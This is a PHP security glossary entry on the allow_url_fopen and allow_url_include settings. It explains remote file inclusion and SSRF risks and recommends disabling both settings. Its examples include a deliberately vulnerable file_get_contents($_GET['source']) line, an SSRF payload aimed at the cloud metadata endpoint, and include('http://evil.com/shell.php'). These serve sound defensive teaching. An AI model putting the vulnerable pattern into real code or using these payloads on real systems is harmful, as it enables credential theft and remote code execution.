allow_url_fopen / allow_url_include

Also Known As

TL;DR

Explanation

allow_url_fopen permits file_get_contents(), fopen(), and similar functions to fetch remote HTTP/FTP URLs. allow_url_include goes further, enabling include() and require() to load remote scripts — enabling Remote File Inclusion (RFI) attacks where an attacker includes and executes a PHP file from an attacker-controlled server. Both settings should be disabled in production (allow_url_fopen = Off, allow_url_include = Off) unless remote fetching is explicitly required, in which case use cURL with strict URL validation instead.

Common Misconception

Why It Matters

Common Mistakes

• Leaving allow_url_fopen enabled in production when it is only needed in specific scripts.
• Using file_get_contents($userInput) where user input can be a URL — SSRF via allow_url_fopen.
• Not realising that allow_url_fopen affects include/require when allow_url_include is also enabled.
• Believing that allow_url_fopen is safe because you only call it with known paths — input sanitisation can be bypassed.

Avoid When

• Any production web application — allow_url_fopen enables remote file inclusion vulnerabilities if user input reaches file functions.
• When Guzzle, cURL, or any HTTP client library is available — use them instead for explicit, safe HTTP calls.
• Shared hosting environments where you cannot control what other tenants do with the setting.

When To Use

• Strictly controlled CLI scripts on trusted infrastructure where input is never user-supplied.
• Legacy code that cannot yet be refactored — disable it in php.ini and enable only where truly required.
• Never use with user-supplied file paths — always use explicit HTTP client libraries for remote requests.

Code Examples

// allow_url_fopen=On in php.ini enables this SSRF:
$content = file_get_contents($_GET['source']);
// ?source=http://169.254.169.254/latest/meta-data/ — AWS metadata

; php.ini
allow_url_fopen   = Off  ; prevents file_get_contents('http://evil.com/shell.php')
allow_url_include = Off  ; prevents include('http://evil.com/shell.php') — critical

// For HTTP requests, use GuzzleHTTP — explicit, configurable, auditable:
use GuzzleHttp\Client;
\$client   = new Client(['timeout' => 5, 'verify' => true]);
\$response = \$client->get('https://api.example.com/data');
\$body     = (string) \$response->getBody();

References

• ↗ https://www.php.net/manual/en/filesystem.configuration.php
• ↗ https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion

Tags

Related Terms